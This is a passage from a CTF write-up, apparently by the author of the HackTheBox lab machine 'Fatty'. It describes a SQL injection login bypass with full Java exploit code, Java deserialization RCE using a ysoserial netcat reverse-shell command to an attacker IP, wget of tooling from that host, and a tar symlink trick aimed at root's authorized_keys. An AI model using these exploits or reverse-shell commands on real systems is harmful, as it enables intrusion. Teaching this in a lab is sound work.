seconds.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is the&nbsp;<em>SQL injection&nbsp;<\/em>now unusable for us? The answer is no and exploiting this&nbsp;<em>SQLi&nbsp;<\/em>is actually pretty easy once you find the trick. We can simply use a&nbsp;<em>UNION<\/em>query to login with a&nbsp;<em>fake user account<\/em>&nbsp;that does not even exist inside the database. Consider e.g. the following&nbsp;<em>SQL&nbsp;<\/em>query:<strong>SELECT<\/strong> id,username,email,password,role <strong>FROM<\/strong> users <strong>WHERE<\/strong> username='nope' <strong>UNION<\/strong><strong>SELECT<\/strong> 1,'fake','fake@fake.fake','fakepassword','admin'<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since&nbsp;<code>nope<\/code>&nbsp;is no valid user account, the first&nbsp;<em>SELECT<\/em>&nbsp;query does not return anything. However, by using the&nbsp;<em>UNION<\/em>&nbsp;operator and a second&nbsp;<em>SELECT<\/em>statement, that just returns some static data, we can generate a result with user controlled values for the whole&nbsp;<em>SQL&nbsp;<\/em>query. The rest of the code, that is using the query result, will then take the faked&nbsp;<em>password&nbsp;<\/em>field with a value of&nbsp;<code>fakepassword<\/code>&nbsp;and compare it to the password that was entered during login. Since both values are user controlled, we can easily pass this check. Furthermore, the rest of the code will use the faked&nbsp;<em>rolename&nbsp;<\/em>field with a value of&nbsp;<code>admin<\/code>&nbsp;and will use this for access control checks. Summarized, the&nbsp;<em>SQLi&nbsp;<\/em>allows us to login as a non existing admin user. Sounds good!<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, there is one minor problem which prevents us from exploiting the&nbsp;<em>SQLi&nbsp;<\/em>from the graphical user interface. We already saw that the client sends the password as a hash to the server. When looking closer to the source code, we can see that the password hash is not hashed again on the server side. Instead the hash transmitted by the client is just compared against the password that is stored inside the database. By inspecting the&nbsp;<code>htb.fatty.shared.resources.User<\/code>&nbsp;class, we find the following function responsible for calculating the password hash:<strong>String<\/strong> hashString = <strong>this<\/strong>.username + password + \"clarabibimakeseverythingsecure\";MessageDigest digest = <strong>null<\/strong>;<strong>try<\/strong> { digest = MessageDigest.getInstance(\"SHA-256\");} <strong>catch<\/strong> (NoSuchAlgorithmException e) { e.printStackTrace();}<strong>byte<\/strong>[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the hash is calculated by using a string that also contains the&nbsp;<em>username<\/em>. If we now want to exploit the&nbsp;<em>SQLi&nbsp;<\/em>as mentioned above, we need to specify a&nbsp;<em>fakepassword&nbsp;<\/em>as part of the username and need to make sure that the client transmits the same&nbsp;<em>fakepassword&nbsp;<\/em>as the password hash value. This is basically a<em>&nbsp;chicken or the egg problem<\/em>&nbsp;and requires us to solve the following equation:x(y) = SHA-256(\"nope' UNION SELECT 1,'fake','fake@fake.fake','x(y)','admin'\" + y + \"clarabibimakeseverythingsecure\" )<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I\u2019m not an expert in cryptography, but solving this equation should not be possible in a reasonable amount of time. Therefore, the above mentioned&nbsp;<em>SQLi&nbsp;<\/em>cannot be exploited from the graphical user interface. Luckily, we have already our own client and have full control over what is transmitted to the server. In our own code, we should be able to correct the hashing issue and to exploit the&nbsp;<em>SQLi<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first thing we need to do is to determine when the hashing of the password occurs. By inspecting the&nbsp;<code>htb.fatty.shared.resources.User<\/code>class, we can identify that the password is directly hashed in the constructor function of the&nbsp;<code>User<\/code>&nbsp;object. Fortunately for us, there are multiple constructor functions for the&nbsp;<code>User<\/code>&nbsp;object and one of them allows to specify a boolean with name&nbsp;<code>hashed<\/code>. If set to&nbsp;<em>false<\/em>, the password will be stored as plain text inside the&nbsp;<code>User<\/code>&nbsp;object.<strong>public<\/strong> User(<strong>int<\/strong> uid, <strong>String<\/strong> username, <strong>String<\/strong> password, <strong>String<\/strong> email, Role role, <strong>boolean<\/strong> hash){ <strong>this<\/strong>(uid, username, password, email, role); <strong>if<\/strong>( !hash ) { <strong>this<\/strong>.password = password; }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For our exploit, all we need to do now is to use&nbsp;<code>hashed=false<\/code>&nbsp;during our user generation and to specify the above mentioned payload as the username. As a proof of concept, we can then try to access the&nbsp;<code>invo.uname()<\/code>&nbsp;function again and see if we are now allowed to call it. The corresponding code for the&nbsp;<em>SQLi&nbsp;<\/em>exploitation could look like this:<strong>import<\/strong><em> java.io.IOException<\/em>;<strong>import<\/strong><em> htb.fatty.client.connection.Connection<\/em>;<strong>import<\/strong><em> htb.fatty.client.methods.Invoker<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageBuildException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageParseException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> SQLi { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main( <strong>String<\/strong>[] args ) { Connection conn = <strong>null<\/strong>; <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong>( Exception e ) { System.out.println(\"[-] Connection attempt failed: \" + e.getMessage()); System.exit(1); } User user = new User(\"' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin\", \"fakepassword\", <strong>false<\/strong>); <strong>if<\/strong>( conn.login(user) ) { System.out.println(\"[+] Login succesful!\"); } <strong>else<\/strong> { System.out.println(\"[-] Login failed!\"); System.exit(1); } <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); System.out.println(\"[+] Current role: \" + roleName); Invoker invo = new Invoker(conn, user); <strong>String<\/strong> serverResponse = \"\"; <strong>try<\/strong> { serverResponse = invo.uname(); } <strong>catch<\/strong> (MessageParseException e) { System.out.println(\"[-] Failure during message parsing.\"); System.exit(1); } <strong>catch<\/strong> (MessageBuildException e) { System.out.println(\"[-] Failure during message building.\"); System.exit(1); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failure during message sending.\"); System.exit(1); } System.out.println(\"[+] Server response is: \" + serverResponse); }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After execution, we obtain the following result:[+] Login succesful![+] Current role: <strong>admin<\/strong>[+] Server response is: Linux 6dfe00973277 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3 (2019-09-02) x86_64 Linux<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This output shows that we have now administrative access and should be able to use all functionality that is exposed by the client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"final-punch\">3.10 \u2013 The final Punch<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>After unlocking all functionality of the client, we take a look ath the juicy functionalities inside the&nbsp;<em>ServerStatus<\/em>&nbsp;drop down:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>uname()<\/li><li>users()<\/li><li>netstat()<\/li><li>iptables()<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>However, all these function take zero arguments and we have therefore no possibility to inject something malicious into them. We can also take a look at the source code of the application server and find that all these methods just invoke some static commands. E.g. the&nbsp;<code>invo.uname()<\/code>&nbsp;function does something like this:Process p = Runtime.getRuntime().exec(\"uname -a\");<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So it seems that these methods do not provide any attack vectors. But are there other methods that only an administrator is able to call? If you remember our initial enumeration on the graphical user interface, there was a&nbsp;<code>changePassword<\/code>&nbsp;function that was disabled for the user&nbsp;<em>qtc<\/em>. While a method like&nbsp;<code>changePassword<\/code>&nbsp;does not sound like something that could lead to&nbsp;<em>remote code execution<\/em>, in the case of&nbsp;<em>Fatty<\/em>, the implementation is pretty dangerous. Already the source code of&nbsp;<em>fatty-client.jar<\/em>&nbsp;is sufficient to see that:<strong>public<\/strong><strong>String<\/strong> changePW(<strong>String<\/strong> username, <strong>String<\/strong> newPassword) <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { <strong>String<\/strong> methodName = new Object() {}.getClass().getEnclosingMethod().getName(); logger.logInfo(\"[+] Method '\" + methodName + \"' was called by user '\" + user.getUsername() + \"'.\"); <strong>if<\/strong>( AccessCheck.checkAccess(methodName, user) ) { <strong>return<\/strong> \"Error: Method '\" + methodName + \"' is not allowed for this user account\"; } User user = new User(username, newPassword); ByteArrayOutputStream bOut = new ByteArrayOutputStream(); ObjectOutputStream oOut; <strong>try<\/strong> { oOut = new ObjectOutputStream(bOut); oOut.writeObject(user); } <strong>catch<\/strong> (IOException e) { e.printStackTrace(); <strong>return<\/strong> \"Failure while serializing user object\"; } <strong>byte<\/strong>[] serializedUser64 = Base64.getEncoder().encode(bOut.toByteArray()); action = new ActionMessage(<strong>this<\/strong>.sessionID, \"changePW\"); action.addArgument(new <strong>String<\/strong>(serializedUser64)); <strong>this<\/strong>.sendAndRecv(); <strong>if<\/strong>(<strong>this<\/strong>.response.hasError()) { <strong>return<\/strong> \"Error: Your action caused an error on the application server!\"; } <strong>return<\/strong><strong>this<\/strong>.response.getContentAsString();}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code>changePW<\/code>&nbsp;method starts like expected, it takes a&nbsp;<em>username<\/em>, a new&nbsp;<em>password&nbsp;<\/em>and performs the already bypassed access control checks. But then something crazy happens. Instead of sending the&nbsp;<em>username&nbsp;<\/em>and&nbsp;<em>password&nbsp;<\/em>parameters as&nbsp;<em>Strings&nbsp;<\/em>to the server, the method constructs a new&nbsp;<code>User<\/code>object and&nbsp;<em>serializes&nbsp;<\/em>it. The&nbsp;<em>serialized&nbsp;<\/em><code>User<\/code>&nbsp;object is when transformed to&nbsp;<em>base64&nbsp;<\/em>and sent to the application server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depending on the implementation on the server side, the&nbsp;<code>changePW<\/code>&nbsp;function could be vulnerable to<em>&nbsp;Java deserialization attacks<\/em>&nbsp;and indeed, we find that the application server is just deserializing the transmitted object without any security checks:<strong>String<\/strong> b64User = args.get(0);<strong>byte<\/strong>[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);ObjectInputStream oIn;<strong>try<\/strong> { oIn = new ObjectInputStream(bIn); User newUser = (User)oIn.readObject();} <strong>catch<\/strong> (Exception e) { e.printStackTrace(); response += \"Error: Failure while recovering the User object.\"; <strong>return<\/strong> response;}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This should allow us to exploit the&nbsp;<code>changePW<\/code>&nbsp;function in order to get&nbsp;<em>remote code execution<\/em>. The first thing we need to do is to patch the&nbsp;<code>changePW<\/code>function in our local version of the&nbsp;<code>Invoker<\/code>&nbsp;class. To keep the patch simple and flexible, we just expect the&nbsp;<em>base64&nbsp;<\/em>encoded payload as input, and transmit it directly to the server:<strong>public<\/strong><strong>String<\/strong> changePWExploit(<strong>String<\/strong> payload) <strong>throws<\/strong> MessageParseException, MessageBuildException, IOException { action = new ActionMessage(<strong>this<\/strong>.sessionID, \"changePW\"); action.addArgument(new <strong>String<\/strong>(payload)); <strong>this<\/strong>.sendAndRecv(); <strong>if<\/strong>(<strong>this<\/strong>.response.hasError()) { <strong>return<\/strong> \"Server response contained an error. Your shell is probably on the way :D\"; } <strong>return<\/strong><strong>this<\/strong>.response.getContentAsString();}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Again we need to use the&nbsp;<em>SQLi<\/em>&nbsp;payload inside our client, since calling the&nbsp;<code>changePW<\/code>&nbsp;method requires administrative privileges. Furthermore, we have to change the&nbsp;<code>Invoker<\/code>&nbsp;function to&nbsp;<code>invo.changePWExploit(\"&lt;payload&gt;\")<\/code>. In the following listing, I just wrote down the full source code of the final exploit:<strong>import<\/strong><em> java.io.IOException<\/em>;<strong>import<\/strong><em> htb.fatty.client.connection.Connection<\/em>;<strong>import<\/strong><em> htb.fatty.client.methods.Invoker<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageBuildException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.message.MessageParseException<\/em>;<strong>import<\/strong><em> htb.fatty.shared.resources.User<\/em>;<strong>public<\/strong><strong>class<\/strong> Serialize { <strong>public<\/strong><strong>static<\/strong><strong>void<\/strong> main( <strong>String<\/strong>[] args ) { Connection conn = <strong>null<\/strong>; <strong>try<\/strong> { conn = Connection.getConnection(); } <strong>catch<\/strong>( Exception e ) { System.out.println(\"[-] Connection attempt failed: \" + e.getMessage()); System.exit(1); } User user = new User(\"' UNION SELECT 1,'fake','fake@fake.fake','fakepassword','admin\", \"fakepassword\", <strong>false<\/strong>); <strong>if<\/strong>( conn.login(user) ) { System.out.println(\"[+] Login succesful!\"); } <strong>else<\/strong> { System.out.println(\"[-] Login failed!\"); System.exit(1); } <strong>String<\/strong> roleName = conn.getRoleName(); user.setRoleByName(roleName); System.out.println(\"[+] Current role: \" + roleName); <strong>String<\/strong> payload = \"ysoserial generated payload\"; Invoker invo = new Invoker(conn, user); <strong>String<\/strong> serverResponse = \"\"; <strong>try<\/strong> { serverResponse = invo.changePWExploit(payload); } <strong>catch<\/strong> (MessageParseException e) { System.out.println(\"[-] Failure during message parsing.\"); System.exit(1); } <strong>catch<\/strong> (MessageBuildException e) { System.out.println(\"[-] Failure during message building.\"); System.exit(1); } <strong>catch<\/strong> (IOException e) { System.out.println(\"[-] Failure during message sending.\"); System.exit(1); } System.out.println(\"[+] Server response is: \" + serverResponse); }}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The last thing we are missing is the actual payload, which can of course easily be generated by using&nbsp;<a href=\"https:\/\/github.com\/frohoff\/ysoserial\" target=\"_blank\" rel=\"noreferrer noopener\">ysoserial<\/a>. Since the whole&nbsp;<em>Fatty<\/em>&nbsp;project is using&nbsp;<em>Spring<\/em>, you may be tempted to use the&nbsp;<em>Spring gadget-chains<\/em>&nbsp;of&nbsp;<em>ysoserial<\/em>, but the version of&nbsp;<em>Spring&nbsp;<\/em>that is used for&nbsp;<em>Fatty<\/em>&nbsp;is no longer vulnerable to them. However, by unzipping&nbsp;<em>fatty-server.jar<\/em>, you can identify that it contains packages that start with&nbsp;<code>org.apache.commons.collections<\/code>&nbsp;and this means that one of&nbsp;<em>ysoserials<\/em>&nbsp;<em>CommonsCollections gadget chains<\/em>&nbsp;probably works.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this example, we will use the gadget chain&nbsp;<em>CommonsCollections5<\/em>&nbsp;and generate our payload like this:pentester@kali:\/opt\/ysoserial\/target$ .\/ysoserial CommonsCollections5 'nc 10.10.14.17 4444 -e \/bin\/sh' | base64 -w0rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While the usage of&nbsp;<em>ysoserial<\/em>&nbsp;should be straight forward, there are some pitfalls when choosing the correct payload:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><em>fatty-server.jar<\/em>&nbsp;is running as user&nbsp;<em>qtc<\/em>, who has no root privileges on the server. On&nbsp;<em>alpine docker containers<\/em>&nbsp;(or at least at the one that is being used),&nbsp;<code>ping<\/code>&nbsp;is only allowed for the root user and&nbsp;<em>qtc&nbsp;<\/em>can therefore not use&nbsp;<code>ping<\/code>. This could lead to false negatives when testing your serialized payload.<\/li><li>The alpine docker container does not contain a&nbsp;<code>bash<\/code>&nbsp;executable. Therefore, it is important to choose&nbsp;<code>\/bin\/sh<\/code>&nbsp;for the reverse shell payload.<\/li><li>The&nbsp;<code>nc<\/code>&nbsp;version on the alpine container requires&nbsp;<code>-e &lt;PROG&gt;<\/code>&nbsp;to be the last argument. Otherwise, the&nbsp;<code>nc<\/code>&nbsp;command will fail.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>But when the payload is generated as above, everything should work fine and you should finally obtain a reverse shell on the&nbsp;<em>fatty&nbsp;<\/em>application server:pentester@kali:~$ nc -vlp 4444Ncat: Version 7.80 ( https:\/\/nmap.org\/ncat )Ncat: Listening <strong>on<\/strong> :::4444Ncat: Listening <strong>on<\/strong> 0.0.0.0:4444Ncat: Connection from 10.10.10.174.Ncat: Connection from 10.10.10.174:44875.iduid=1000(qtc) gid=1000(qtc) groups=1000(qtc)<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like already mentioned, the application server is hosted inside of a docker container, but already here we can find a home directory for&nbsp;<em>qtc&nbsp;<\/em>containing the user flag:ls -l \/home\/qtctotal 4---------- 1 qtc qtc 33 Sep 24 04:15 <strong>user<\/strong>.txt<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice, that the&nbsp;<code>user.txt<\/code>&nbsp;file has its permissions set to&nbsp;<code>000<\/code>. This is because I was paranoid that someone could break the filters on the&nbsp;<em>path<\/em><em>traversal&nbsp;<\/em>vulnerabilities and might be able to access arbitrary files. By setting permissions to&nbsp;<code>000<\/code>, the file is not directly accessible, but once you got&nbsp;<em>RCE&nbsp;<\/em>you can use&nbsp;<code>chmod<\/code>&nbsp;to adjust the permissions and read the flag:chmod 400 \/home\/qtc\/<strong>user<\/strong>.txtcat \/home\/qtc\/<strong>user<\/strong>.txt7fab[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"escalating-to-root\">4.0 \u2013 Escalating to root<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>By abusing the vulnerabilities contained inside the<em>&nbsp;fat client<\/em>&nbsp;we have managed to obtain a reverse shell and have now access to the docker container as the user&nbsp;<em>qtc<\/em>. Our next step is to get access to the underlying docker host, ideally already as the root user.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"odd-services\">4.1 \u2013 Odd Services<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>Before starting to enumerate, we should try to obtain a better shell. Unfortunately, neither&nbsp;<em>python2&nbsp;<\/em>nor&nbsp;<em>python3&nbsp;<\/em>are installed on the container, which prevents us form using&nbsp;<em>Pythons&nbsp;<\/em><code>pty<\/code>&nbsp;module. Also&nbsp;<em>SSH&nbsp;<\/em>is no solution, since the&nbsp;<em>SSH<\/em>&nbsp;server exposed by&nbsp;<em>Fatty&nbsp;<\/em>is not the same that is running on the container. It seems like we have to be satisfied with&nbsp;<code>ash -i<\/code>, which at least displays us an ordinary command prompt. Additionally, we can use the following redirection of&nbsp;<em>stderr:<\/em><code>2&gt;&amp;1<\/code>. Otherwise we will not be able to see the standard error of ordinary commands.ash -i 2&gt;&amp;1164d6a53be73:\/home\/qtc$<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After identifying the&nbsp;<em>path traversal<\/em>&nbsp;vulnerability inside the&nbsp;<em>fatty-client.jar<\/em>, we already discovered that the docker container starts&nbsp;<em>crond<\/em>&nbsp;and&nbsp;<em>sshd<\/em>&nbsp;manually. It seems like these services are required for some reason and we investigate why this is the case. So as a first step, let\u2019s try to check our&nbsp;<em>crontab&nbsp;<\/em>to see if there are some jobs configured:164d6a53be73:\/home\/qtc$ crontab -lcrontab: must be suid to work properly164d6a53be73:\/home\/qtc$ ls -l \/etc\/crontabstotal 8-rw------- 1 root root 64 Oct 4 08:34 qtc-rw------- 1 root root 283 Jan 23 2019 root<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first error message shows that&nbsp;<em>crontab&nbsp;<\/em>is not installed as&nbsp;<em>suid<\/em>. This is because&nbsp;<em>crontab&nbsp;<\/em>is implemented using&nbsp;<em>BusyBox<\/em>&nbsp;on the container, and&nbsp;<em>BusyBox<\/em>has no&nbsp;<em>suid&nbsp;<\/em>bit set. As you can see from the second output, the&nbsp;<em>crontabs&nbsp;<\/em>are only accessible by root and therefore we have no option for displaying them. Luckily for us,&nbsp;<em>qtc&nbsp;<\/em>has created an&nbsp;<code>\/etc\/crontab.back<\/code>&nbsp;folder as a backup. This folder is owned by&nbsp;<em>qtc&nbsp;<\/em>and we can read the contained&nbsp;<em>crontabs<\/em>:164d6a53be73:\/etc\/crontabs.back$ cat *0 * * * * \/bin\/tar -cf \/opt\/fatty\/tar\/logs.tar \/opt\/fatty\/logs\/# do daily\/weekly\/monthly maintenance# min hour day month weekday command*\/15 * * * * run-parts \/etc\/periodic\/15min0 * * * * run-parts \/etc\/periodic\/hourly0 2 * * * run-parts \/etc\/periodic\/daily0 3 * * 6 run-parts \/etc\/periodic\/weekly0 5 1 * * run-parts \/etc\/periodic\/monthly<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While the root user has no custom&nbsp;<em>cron&nbsp;<\/em>jobs defined, we can see that the user&nbsp;<em>qtc&nbsp;<\/em>creates a new&nbsp;<em>.tar<\/em>&nbsp;file inside of&nbsp;<code>\/opt\/fatty\/tar<\/code>&nbsp;every full hour. The contents of the&nbsp;<em>.tar<\/em>&nbsp;file are the log files generated by the&nbsp;<em>fatty-server&nbsp;<\/em>application.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the cronjob runs as&nbsp;<em>qtc&nbsp;<\/em>and the log files of the application server are already readable from our current position, it seems that we cannot profit from this&nbsp;<em>cronjob&nbsp;<\/em>directly. But there is the possibility that the cron backup folder contains outdated&nbsp;<em>crontabs&nbsp;<\/em>and we should definitely give&nbsp;<a href=\"https:\/\/github.com\/DominicBreuker\/pspy\" target=\"_blank\" rel=\"noreferrer noopener\">pspy<\/a>&nbsp;a try to see what else is running regularly on the container. We can use&nbsp;<code>wget<\/code>, which is installed on the container, to upload&nbsp;<em>pspy&nbsp;<\/em>and after execution we get the following result:164d6a53be73:\/tmp$ wget 10.10.14.17:8000\/pspy64<strong>Connecting<\/strong> to 10.10.14.17:8000 10.10.14.17:8000)pspy64 100% |********************************| 4364k 0:00:00 ETA164d6a53be73:\/tmp$ chmod +x pspy64164d6a53be73:\/tmp$ .\/pspy64Config: Printing events (<strong>colored<\/strong>=<strong>true<\/strong>): processes=<strong>true<\/strong> | file-system-events=<strong>false<\/strong> ||| Scannning for processes every 100ms and <strong>on<\/strong> inotify events ||| Watching directories: [\/usr \/tmp \/etc \/home \/var \/opt] (recursive) | [] (non-recursive)<strong>Draining<\/strong> file system events due to startup...done2019\/10\/04 09:11:46 CMD: UID=0 PID=7 | crond -b 2019\/10\/04 09:11:46 CMD: UID=1000 PID=238 | .\/pspy64 2019\/10\/04 09:11:46 CMD: UID=1000 PID=183 | ash -i 2019\/10\/04 09:11:46 CMD: UID=1000 PID=152 | \/bin\/sh 2019\/10\/04 09:11:46 CMD: UID=0 PID=11 | \/usr\/sbin\/sshd 2019\/10\/04 09:11:46 CMD: UID=1000 PID=10 | java -jar \/opt\/fatty\/fatty-server.jar 2019\/10\/04 09:11:46 CMD: UID=0 PID=1 | \/bin\/sh .\/start.sh 2019\/10\/04 09:12:02 CMD: UID=0 PID=245 | sshd: [accepted]2019\/10\/04 09:12:02 CMD: UID=22 PID=246 | sshd: [net] 2019\/10\/04 09:12:02 CMD: UID=1000 PID=247 | sshd: qtc 2019\/10\/04 09:12:02 CMD: UID=1000 PID=248 | ash -c scp -f \/opt\/fatty\/tar\/logs.tar<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seems like a remote user is connecting to the&nbsp;<em>ssh server&nbsp;<\/em>and uses&nbsp;<em>scp<\/em>&nbsp;to copy the&nbsp;<em>logs.tar<\/em>&nbsp;file that is generated by our&nbsp;<em>cronjob<\/em>. If you run&nbsp;<em>pspy<\/em>&nbsp;over a longer period of time, you will notice that this event occurs each minute. So it seems like some other host has a&nbsp;<em>cronjob&nbsp;<\/em>configured that pulls the logs of the application server periodically.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"strange-tar\">4.2 \u2013 Some Strange Behavior of tar<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>It may feels like we are still missing some information, but there is not much more to enumerate and as it turns out, the observations from above are sufficient for breaking out of the container.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A long time ago there was an interesting&nbsp;<a href=\"https:\/\/github.com\/BuddhaLabs\/PacketStorm-Exploits\/blob\/master\/0101-exploits\/tar-symlink.txt\" target=\"_blank\" rel=\"noreferrer noopener\">tar exploit<\/a>&nbsp;and the cause of it is actually pretty simple:&nbsp;<em>.tar<\/em>&nbsp;archives can contain files with the same filename multiple times. You can easily verify this by creating a&nbsp;<em>.tar<\/em>&nbsp;archive and adding the same file multiple times:pentester@kali:\/etc$ tar -cvf \/tmp\/test.tar passwdpasswdpentester@kali:\/etc$ tar -rvf \/tmp\/test.tar passwdpasswdpentester@kali:\/etc$ tar -rvf \/tmp\/test.tar passwdpasswdpentester@kali:\/etc$ tar -tvf \/tmp\/test.tar -rw-r--r-- root\/root 3550 2019-08-29 15:00 passwd-rw-r--r-- root\/root 3550 2019-08-29 15:00 passwd-rw-r--r-- root\/root 3550 2019-08-29 15:00 passwd<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While this behavior is odd, it is no problem when all the items with identical filenames are just regular files. In this case, when extracting the archive, the files will just overwrite each other and the result is the last added file. But what happens if not all files are just regular files?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, this is what the exploit abuses. A&nbsp;<em>.tar<\/em>&nbsp;archive can also contain&nbsp;<em>symlinks&nbsp;<\/em>that point to arbitrary resources on the system where they are extracted. By first packing a&nbsp;<em>symlink&nbsp;<\/em>to a sensitive file like&nbsp;<code>authorized_keys<\/code>&nbsp;and then a&nbsp;<em>public key<\/em>&nbsp;file with exactly the same filename into a&nbsp;<em>.tar<\/em>&nbsp;archive, we could easily obtain code execution on the targeted system. The following listing shows an example of this situation:pentester@kali:\/tmp$ ln -s \/root\/.ssh\/authorized_keys exploit.pubpentester@kali:\/tmp$ tar -cvf exploit.tar exploit.pubexploit.pubpentester@kali:\/tmp$ rm exploit.pub &amp;&amp; mv key.pub exploit.pubpentester@kali:\/tmp$ tar -rvf exploit.tar exploit.pubexploit.pubpentester@kali:\/tmp$ tar -tvf exploit.tarlrwxrwxrwx pentester\/pentester 0 2019-10-04 11:30 exploit.pub -&gt; \/root\/.ssh\/authorized_keys-rw-r--r-- pentester\/pentester 568 2019-10-04 11:31 exploit.pub<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If this archive is extracted by a vulnerable&nbsp;<em>tar&nbsp;<\/em>version, the symlink is extracted first and then overwritten by the public key file. The result is that the public key file will be written to the&nbsp;<code>.ssh<\/code>&nbsp;folder of the root account. However, recent versions of&nbsp;<em>tar<\/em>&nbsp;are no longer vulnerable against this kind of attack, but with a little bit of creativity, there is something different one can do with&nbsp;<em>symlinks<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As it turns out, a&nbsp;<em>.tar<\/em>&nbsp;file can also contain files that have exactly the same name as the corresponding&nbsp;<em>.tar<\/em>&nbsp;archive. When extracting an archive with the same name as one of the contained files, the extracted file will overwrite the&nbsp;<em>.tar<\/em>&nbsp;archive. Okay that is odd, but how could it be exploited?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider that you have a situation where someone is regularly executing the following pattern:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Download a&nbsp;<em>.tar<\/em>&nbsp;file to his local disk.<\/li><li>Extracting the&nbsp;<em>.tar<\/em>&nbsp;file inside the same directory it was downloaded.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>If the&nbsp;<em>.tar<\/em>&nbsp;file contains a symlink that has the same name as the archive itself, it will replace the&nbsp;<em>.tar<\/em>&nbsp;archive with a symlink to an arbitrary destination on extraction. Once the next download occurs, the newly downloaded&nbsp;<em>.tar<\/em>&nbsp;file will overwrite the old one, but when the old&nbsp;<em>.tar<\/em>&nbsp;file was replaced by a&nbsp;<em>symlink<\/em>, the new downloaded file will be written to the destination the symlink is pointing to. This allows us to write arbitrary files with the permissions of the extracting user.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"root-shell\">4.3 \u2013 Obtaining the root Shell<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator 